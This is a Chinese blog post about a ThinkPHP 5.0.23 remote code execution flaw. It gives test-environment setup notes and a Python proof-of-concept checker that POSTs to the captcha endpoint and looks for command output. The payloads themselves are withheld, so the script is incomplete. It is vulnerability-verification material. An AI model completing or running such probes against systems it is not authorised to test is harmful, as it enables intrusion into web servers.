ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞
昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波。新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的。TP5也成了万人轮啊。
测试
环境搭建
- windows下phpstudy,然后下载tp5.0.23到相应的www目录下
- linux,安装启动apache和php,下载tp5.0.23到相应www目录下
- mac(本机) 启动apache, 下载tp5.0.23到/library/Webserver/Documents下
环境测试
漏洞验证
Payload在此不公开,圈内的人大家都在微信群里看到很多了
备注一个测试遇到的问题:在windows下phpstudy使用assert函数成功,但是在本机mac下不行,怀疑与php版本有关,win下是php5的,mac下是php7的。
漏洞poc
# -*- coding:utf-8 -*-
"""
ThinkPHP-5.0.23 RCE POC
Author: b0b@c
"""
# import libs,modules,files
import sys
import requests
# global vars & settings
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0",
}
# payload
...
# main function
if __name__ == "__main__":
url = "%s/public/index.php?s=captcha"
url = url%str(sys.argv[1])
response1 = requests.post(url,headers=headers,data=data1)
response2 = requests.post(url,headers=headers,data=data2)
response3 = requests.post(url,headers=headers,data=data3)
if (response1.content.find("Configuration File (php.ini) Path") >= 0) or (response2.content.find("index.php") >= 0) or (response3.content.find("index.php") >= 0):
print "YES,It's Dangerous!@!"
else:
print "No,It's Safety!@!"
博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:Mrli888@88.com